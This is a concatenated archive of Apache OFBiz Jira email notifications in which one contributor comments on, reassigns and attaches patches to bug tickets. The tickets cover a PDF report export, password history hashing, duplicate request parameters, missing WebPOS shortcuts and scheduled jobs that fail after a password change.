[ https://issues.apache.org/jira/browse/OFBIZ-6638?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17042577#comment-17042577 ] Rohit Koushal commented on OFBIZ-6638: -- It looks like the birt jar is upgraded to 4.5.0 from 4.3.1 under commit b995b676011aeb360a4f21ee96ef234037dc2b50 which is breaking the current implementation for the report. Tagging [~taher] > TrialBalance PDF export fails > - > > Key: OFBIZ-6638 > URL: https://issues.apache.org/jira/browse/OFBIZ-6638 > Project: OFBiz > Issue Type: Sub-task > Components: accounting >Affects Versions: Trunk, Release Branch 16.11, Release Branch 17.12, > Release Branch 18.12 >Reporter: Jacques Le Roux >Assignee: Rohit Koushal >Priority: Major > Fix For: 14.12.01, 15.12.01 > > Attachments: OFBIZ-6638.patch, image-2019-01-12-14-53-56-292.png > > > # Get to > http://demo-trunk.ofbiz.apache.org/accounting/control/TrialBalance?organizationPartyId=Company > #pick a "Custom Time Period Id" (default works also) > #Submit > Then the CSV export works but not the PDF, this in trunk demo. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Comment Edited] (OFBIZ-10802) UserLoginPasswordHistory is not maintaining password as present in UserLogin.
[
https://issues.apache.org/jira/browse/OFBIZ-10802?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17023545#comment-17023545
]
Rohit Koushal edited comment on OFBIZ-10802 at 1/25/20 4:16 PM:
[~jleroux], records creation in that entity depends upon property
{color:#00875a}password.change.history.limit {color:#172b4d}and it allows only
when{color}{color}{color:#172b4d} that property is greater than 0.{color}
Here is the code block
!image-2020-01-25-18-30-57-571.png!
was (Author: rohit.koushal):
[~jleroux], records creation in that entity depends upon property
{color:#00875a}password.change.history.limit {color:#172b4d}and it allow only
when{color}{color:#172b4d} If that property is greater then 0.{color}{color}
{color:#00875a}{color:#172b4d}Here is the code block {color}{color}
{color:#00875a}{color:#172b4d}!image-2020-01-25-18-30-57-571.png!{color}{color}
> UserLoginPasswordHistory is not maintaining password as present in UserLogin.
> -
>
> Key: OFBIZ-10802
> URL: https://issues.apache.org/jira/browse/OFBIZ-10802
> Project: OFBiz
> Issue Type: Bug
> Components: framework
>Affects Versions: Release Branch 13.07, Release Branch 14.12, Trunk,
> Release Branch 15.12, 17.12.01, Release Branch 16.11, 16.11.04, 16.11.05,
> 16.11.06, Release Branch 17.12, Release Branch 18.12
>Reporter: Rohit Koushal
>Assignee: Suraj Khurana
>Priority: Major
> Attachments: OFBIZ-10802.patch, UL.png, ULPH.png,
> image-2020-01-25-18-30-57-571.png
>
>
> While maintaining UserLoginPasswordHistory in the system, the password is
> encrypted with the random salt hence it will not match with the password save
> in UserLogin. So we need to improve this area of code.
>
> Please refer below screenshots
> *UserLogin*
> *!UL.png!*
> *UserLoginPasswordHistory*
> *!ULPH.png!*
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
[jira] [Commented] (OFBIZ-10802) UserLoginPasswordHistory is not maintaining password as present in UserLogin.
[
https://issues.apache.org/jira/browse/OFBIZ-10802?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17023545#comment-17023545
]
Rohit Koushal commented on OFBIZ-10802:
---
[~jleroux], records creation in that entity depends upon property
{color:#00875a}password.change.history.limit {color:#172b4d}and it allow only
when{color}{color:#172b4d} If that property is greater then 0.{color}{color}
{color:#00875a}{color:#172b4d}Here is the code block {color}{color}
{color:#00875a}{color:#172b4d}!image-2020-01-25-18-30-57-571.png!{color}{color}
> UserLoginPasswordHistory is not maintaining password as present in UserLogin.
> -
>
> Key: OFBIZ-10802
> URL: https://issues.apache.org/jira/browse/OFBIZ-10802
> Project: OFBiz
> Issue Type: Bug
> Components: framework
>Affects Versions: Release Branch 13.07, Release Branch 14.12, Trunk,
> Release Branch 15.12, 17.12.01, Release Branch 16.11, 16.11.04, 16.11.05,
> 16.11.06, Release Branch 17.12, Release Branch 18.12
>Reporter: Rohit Koushal
>Assignee: Suraj Khurana
>Priority: Major
> Attachments: OFBIZ-10802.patch, UL.png, ULPH.png,
> image-2020-01-25-18-30-57-571.png
>
>
> While maintaining UserLoginPasswordHistory in the system, the password is
> encrypted with the random salt hence it will not match with the password save
> in UserLogin. So we need to improve this area of code.
>
> Please refer below screenshots
> *UserLogin*
> *!UL.png!*
> *UserLoginPasswordHistory*
> *!ULPH.png!*
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
[jira] [Updated] (OFBIZ-10802) UserLoginPasswordHistory is not maintaining password as present in UserLogin.
[ https://issues.apache.org/jira/browse/OFBIZ-10802?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal updated OFBIZ-10802: -- Attachment: image-2020-01-25-18-30-57-571.png > UserLoginPasswordHistory is not maintaining password as present in UserLogin. > - > > Key: OFBIZ-10802 > URL: https://issues.apache.org/jira/browse/OFBIZ-10802 > Project: OFBiz > Issue Type: Bug > Components: framework >Affects Versions: Release Branch 13.07, Release Branch 14.12, Trunk, > Release Branch 15.12, 17.12.01, Release Branch 16.11, 16.11.04, 16.11.05, > 16.11.06, Release Branch 17.12, Release Branch 18.12 >Reporter: Rohit Koushal >Assignee: Suraj Khurana >Priority: Major > Attachments: OFBIZ-10802.patch, UL.png, ULPH.png, > image-2020-01-25-18-30-57-571.png > > > While maintaining UserLoginPasswordHistory in the system, the password is > encrypted with the random salt hence it will not match with the password save > in UserLogin. So we need to improve this area of code. > > Please refer below screenshots > *UserLogin* > *!UL.png!* > *UserLoginPasswordHistory* > *!ULPH.png!* -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Commented] (OFBIZ-11056) Fix duplicate entry in paramWithSuffix
[ https://issues.apache.org/jira/browse/OFBIZ-11056?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16848629#comment-16848629 ] Rohit Koushal commented on OFBIZ-11056: --- Thanks [~jacques.le.roux]. (y) > Fix duplicate entry in paramWithSuffix > -- > > Key: OFBIZ-11056 > URL: https://issues.apache.org/jira/browse/OFBIZ-11056 > Project: OFBiz > Issue Type: Bug > Components: framework >Affects Versions: Trunk, Release Branch 17.12, Release Branch 18.12 >Reporter: Samuel Trégouët >Assignee: Jacques Le Roux >Priority: Major > Fix For: 17.12.01, 18.12.01 > > Attachments: OFBIZ-11056.patch > > > when using string-list-suffix attribute for service definition, invoke method > (from associated event handler) will try to parse parameters from both > request variable and rawParameterMap which was also built from request. So we > end up with duplicates in resulting list. > This behaviour seems to be introduced with OFBIZ-5048. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Commented] (OFBIZ-11056) Fix duplicate entry in paramWithSuffix
[ https://issues.apache.org/jira/browse/OFBIZ-11056?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16848168#comment-16848168 ] Rohit Koushal commented on OFBIZ-11056: --- OFBIZ-5048 was pushed in TRUNK and R17. So I have updated the affected versions accordingly over the ticket > Fix duplicate entry in paramWithSuffix > -- > > Key: OFBIZ-11056 > URL: https://issues.apache.org/jira/browse/OFBIZ-11056 > Project: OFBiz > Issue Type: Bug >Affects Versions: Trunk, Release Branch 17.12, Release Branch 18.12 >Reporter: Samuel Trégouët >Assignee: Rohit Koushal >Priority: Major > Attachments: OFBIZ-11056.patch > > > when using string-list-suffix attribute for service definition, invoke method > (from associated event handler) will try to parse parameters from both > request variable and rawParameterMap which was also built from request. So we > end up with duplicates in resulting list. > This behaviour seems to be introduced with OFBIZ-5048. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Updated] (OFBIZ-11056) Fix duplicate entry in paramWithSuffix
[ https://issues.apache.org/jira/browse/OFBIZ-11056?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal updated OFBIZ-11056: -- Attachment: OFBIZ-11056.patch > Fix duplicate entry in paramWithSuffix > -- > > Key: OFBIZ-11056 > URL: https://issues.apache.org/jira/browse/OFBIZ-11056 > Project: OFBiz > Issue Type: Bug >Affects Versions: Trunk, Release Branch 17.12, Release Branch 18.12 >Reporter: Samuel Trégouët >Assignee: Rohit Koushal >Priority: Major > Attachments: OFBIZ-11056.patch > > > when using string-list-suffix attribute for service definition, invoke method > (from associated event handler) will try to parse parameters from both > request variable and rawParameterMap which was also built from request. So we > end up with duplicates in resulting list. > This behaviour seems to be introduced with OFBIZ-5048. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Updated] (OFBIZ-11056) Fix duplicate entry in paramWithSuffix
[ https://issues.apache.org/jira/browse/OFBIZ-11056?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal updated OFBIZ-11056: -- Affects Version/s: Release Branch 18.12 Release Branch 17.12 Trunk > Fix duplicate entry in paramWithSuffix > -- > > Key: OFBIZ-11056 > URL: https://issues.apache.org/jira/browse/OFBIZ-11056 > Project: OFBiz > Issue Type: Bug >Affects Versions: Trunk, Release Branch 17.12, Release Branch 18.12 >Reporter: Samuel Trégouët >Assignee: Rohit Koushal >Priority: Major > > when using string-list-suffix attribute for service definition, invoke method > (from associated event handler) will try to parse parameters from both > request variable and rawParameterMap which was also built from request. So we > end up with duplicates in resulting list. > This behaviour seems to be introduced with OFBIZ-5048. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Commented] (OFBIZ-11056) Fix duplicate entry in paramWithSuffix
[ https://issues.apache.org/jira/browse/OFBIZ-11056?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16848167#comment-16848167 ] Rohit Koushal commented on OFBIZ-11056: --- Thank you [~stregouet] for pointing us in the right direction. I am attaching the patch that rectifies the problem which gets introduce in OFBIZ-5048. > Fix duplicate entry in paramWithSuffix > -- > > Key: OFBIZ-11056 > URL: https://issues.apache.org/jira/browse/OFBIZ-11056 > Project: OFBiz > Issue Type: Bug >Reporter: Samuel Trégouët >Assignee: Rohit Koushal >Priority: Major > > when using string-list-suffix attribute for service definition, invoke method > (from associated event handler) will try to parse parameters from both > request variable and rawParameterMap which was also built from request. So we > end up with duplicates in resulting list. > This behaviour seems to be introduced with OFBIZ-5048. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Assigned] (OFBIZ-11056) Fix duplicate entry in paramWithSuffix
[ https://issues.apache.org/jira/browse/OFBIZ-11056?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal reassigned OFBIZ-11056: - Assignee: Rohit Koushal > Fix duplicate entry in paramWithSuffix > -- > > Key: OFBIZ-11056 > URL: https://issues.apache.org/jira/browse/OFBIZ-11056 > Project: OFBiz > Issue Type: Bug >Reporter: Samuel Trégouët >Assignee: Rohit Koushal >Priority: Major > > when using string-list-suffix attribute for service definition, invoke method > (from associated event handler) will try to parse parameters from both > request variable and rawParameterMap which was also built from request. So we > end up with duplicates in resulting list. > This behaviour seems to be introduced with OFBIZ-5048. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Comment Edited] (OFBIZ-10961) Shortkeys missing on WebPOS
[ https://issues.apache.org/jira/browse/OFBIZ-10961?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16827524#comment-16827524 ] Rohit Koushal edited comment on OFBIZ-10961 at 4/27/19 12:20 PM: - During Jquery update, depricated bind() function is replaced by on() but accidentally in commit r*1850712* custom user define bind() function also get replaced and causes this issue I am attaching the patch to fix this problem. was (Author: rohit.koushal): During Jquery update, depricated bind() function is replaced by on() but accedentally in on commit r*1850712* custom user define bind() function also get relaced and causes this issue I am attaching the patch to fix this problem. > Shortkeys missing on WebPOS > --- > > Key: OFBIZ-10961 > URL: https://issues.apache.org/jira/browse/OFBIZ-10961 > Project: OFBiz > Issue Type: Bug > Components: webpos >Affects Versions: Trunk, Release Branch 18.12 >Reporter: Padmavati Rawat >Assignee: Suraj Khurana >Priority: Major > Attachments: OFBIZ-10961.patch, shortkeysmissing.png > > > Steps: > 1. Visit the demo-trunk.ofbiz.apache.org link. > 2. Login to the Web POS terminal. > 2. Check the Keyboard Shortcuts section. > Actual: > Keyboard short key options are missing on demo-trunk. > Expected: > Keyboard shortcuts should be visible on the Keyboard shortcut section. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Commented] (OFBIZ-10961) Shortkeys missing on WebPOS
[ https://issues.apache.org/jira/browse/OFBIZ-10961?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16827584#comment-16827584 ] Rohit Koushal commented on OFBIZ-10961: --- Done [~suraj.khurana] > Shortkeys missing on WebPOS > --- > > Key: OFBIZ-10961 > URL: https://issues.apache.org/jira/browse/OFBIZ-10961 > Project: OFBiz > Issue Type: Bug > Components: webpos >Affects Versions: Trunk, Release Branch 18.12 >Reporter: Padmavati Rawat >Assignee: Suraj Khurana >Priority: Major > Attachments: OFBIZ-10961.patch, shortkeysmissing.png > > > Steps: > 1. Visit the demo-trunk.ofbiz.apache.org link. > 2. Login to the Web POS terminal. > 2. Check the Keyboard Shortcuts section. > Actual: > Keyboard short key options are missing on demo-trunk. > Expected: > Keyboard shortcuts should be visible on the Keyboard shortcut section. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Updated] (OFBIZ-10961) Shortkeys missing on WebPOS
[ https://issues.apache.org/jira/browse/OFBIZ-10961?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal updated OFBIZ-10961: -- Affects Version/s: Release Branch 18.12 > Shortkeys missing on WebPOS > --- > > Key: OFBIZ-10961 > URL: https://issues.apache.org/jira/browse/OFBIZ-10961 > Project: OFBiz > Issue Type: Bug > Components: webpos >Affects Versions: Trunk, Release Branch 18.12 >Reporter: Padmavati Rawat >Assignee: Suraj Khurana >Priority: Major > Attachments: OFBIZ-10961.patch, shortkeysmissing.png > > > Steps: > 1. Visit the demo-trunk.ofbiz.apache.org link. > 2. Login to the Web POS terminal. > 2. Check the Keyboard Shortcuts section. > Actual: > Keyboard short key options are missing on demo-trunk. > Expected: > Keyboard shortcuts should be visible on the Keyboard shortcut section. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Updated] (OFBIZ-10961) Shortkeys missing on WebPOS
[ https://issues.apache.org/jira/browse/OFBIZ-10961?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal updated OFBIZ-10961: -- Attachment: OFBIZ-10961.patch > Shortkeys missing on WebPOS > --- > > Key: OFBIZ-10961 > URL: https://issues.apache.org/jira/browse/OFBIZ-10961 > Project: OFBiz > Issue Type: Bug > Components: webpos >Affects Versions: Trunk >Reporter: Padmavati Rawat >Assignee: Rohit Koushal >Priority: Major > Attachments: OFBIZ-10961.patch, shortkeysmissing.png > > > Steps: > 1. Visit the demo-trunk.ofbiz.apache.org link. > 2. Login to the Web POS terminal. > 2. Check the Keyboard Shortcuts section. > Actual: > Keyboard short key options are missing on demo-trunk. > Expected: > Keyboard shortcuts should be visible on the Keyboard shortcut section. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Commented] (OFBIZ-10961) Shortkeys missing on WebPOS
[ https://issues.apache.org/jira/browse/OFBIZ-10961?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16827524#comment-16827524 ] Rohit Koushal commented on OFBIZ-10961: --- During Jquery update, depricated bind() function is replaced by on() but accedentally in on commit r*1850712* custom user define bind() function also get relaced and causes this issue I am attaching the patch to fix this problem. > Shortkeys missing on WebPOS > --- > > Key: OFBIZ-10961 > URL: https://issues.apache.org/jira/browse/OFBIZ-10961 > Project: OFBiz > Issue Type: Bug > Components: webpos >Affects Versions: Trunk >Reporter: Padmavati Rawat >Assignee: Rohit Koushal >Priority: Major > Attachments: shortkeysmissing.png > > > Steps: > 1. Visit the demo-trunk.ofbiz.apache.org link. > 2. Login to the Web POS terminal. > 2. Check the Keyboard Shortcuts section. > Actual: > Keyboard short key options are missing on demo-trunk. > Expected: > Keyboard shortcuts should be visible on the Keyboard shortcut section. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Assigned] (OFBIZ-10961) Shortkeys missing on WebPOS
[ https://issues.apache.org/jira/browse/OFBIZ-10961?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal reassigned OFBIZ-10961: - Assignee: Rohit Koushal > Shortkeys missing on WebPOS > --- > > Key: OFBIZ-10961 > URL: https://issues.apache.org/jira/browse/OFBIZ-10961 > Project: OFBiz > Issue Type: Bug > Components: webpos >Affects Versions: Trunk >Reporter: Padmavati Rawat >Assignee: Rohit Koushal >Priority: Major > Attachments: shortkeysmissing.png > > > Steps: > 1. Visit the demo-trunk.ofbiz.apache.org link. > 2. Login to the Web POS terminal. > 2. Check the Keyboard Shortcuts section. > Actual: > Keyboard short key options are missing on demo-trunk. > Expected: > Keyboard shortcuts should be visible on the Keyboard shortcut section. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Updated] (OFBIZ-10573) can‘t run job when user changed password
[ https://issues.apache.org/jira/browse/OFBIZ-10573?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal updated OFBIZ-10573: -- Attachment: OFBIZ-10573.patch > can‘t run job when user changed password > > > Key: OFBIZ-10573 > URL: https://issues.apache.org/jira/browse/OFBIZ-10573 > Project: OFBiz > Issue Type: Bug > Components: framework >Affects Versions: Release Branch 13.07, Release Branch 16.11 >Reporter: zhang.liang >Assignee: Rohit Koushal >Priority: Major > Attachments: OFBIZ-10573.patch, image-2018-09-19-15-41-13-122.png, > image-2018-09-19-15-43-25-388.png, image.png, issue.png > > > dispatcher.runAsync() create a job. if user changed password befor run job, > throw a exception > !image-2018-09-19-15-41-13-122.png! > ServiceDispatcher.chekAuth(); > !image-2018-09-19-15-43-25-388.png! > if check old password not equals new password auth failed > -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Commented] (OFBIZ-10573) can‘t run job when user changed password
[ https://issues.apache.org/jira/browse/OFBIZ-10573?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16790310#comment-16790310 ] Rohit Koushal commented on OFBIZ-10573: --- Thanks, [~jacques.le.roux] for keeping patience here. While working on this item, I am facing an issue that you mentioned in OFBIZ-10837. What I did is schedule a job with service "testScv" and on job execution, I got below error. !issue.png! Can you please check what's going wrong. To make this work I have reverted your changes on my local box. In the current approach on password change, I have grabbed all the pending jobs that require auth and update userLogin in it. Attaching the patch with a mentioned solution. > can‘t run job when user changed password > > > Key: OFBIZ-10573 > URL: https://issues.apache.org/jira/browse/OFBIZ-10573 > Project: OFBiz > Issue Type: Bug > Components: framework >Affects Versions: Release Branch 13.07, Release Branch 16.11 >Reporter: zhang.liang >Assignee: Rohit Koushal >Priority: Major > Attachments: image-2018-09-19-15-41-13-122.png, > image-2018-09-19-15-43-25-388.png, image.png, issue.png > > > dispatcher.runAsync() create a job. if user changed password befor run job, > throw a exception > !image-2018-09-19-15-41-13-122.png! > ServiceDispatcher.chekAuth(); > !image-2018-09-19-15-43-25-388.png! > if check old password not equals new password auth failed > -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Updated] (OFBIZ-10573) can‘t run job when user changed password
[ https://issues.apache.org/jira/browse/OFBIZ-10573?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal updated OFBIZ-10573: -- Attachment: issue.png > can‘t run job when user changed password > > > Key: OFBIZ-10573 > URL: https://issues.apache.org/jira/browse/OFBIZ-10573 > Project: OFBiz > Issue Type: Bug > Components: framework >Affects Versions: Release Branch 13.07, Release Branch 16.11 >Reporter: zhang.liang >Assignee: Rohit Koushal >Priority: Major > Attachments: image-2018-09-19-15-41-13-122.png, > image-2018-09-19-15-43-25-388.png, image.png, issue.png > > > dispatcher.runAsync() create a job. if user changed password befor run job, > throw a exception > !image-2018-09-19-15-41-13-122.png! > ServiceDispatcher.chekAuth(); > !image-2018-09-19-15-43-25-388.png! > if check old password not equals new password auth failed > -- This message was sent by Atlassian JIRA (v7.6.3#76005)
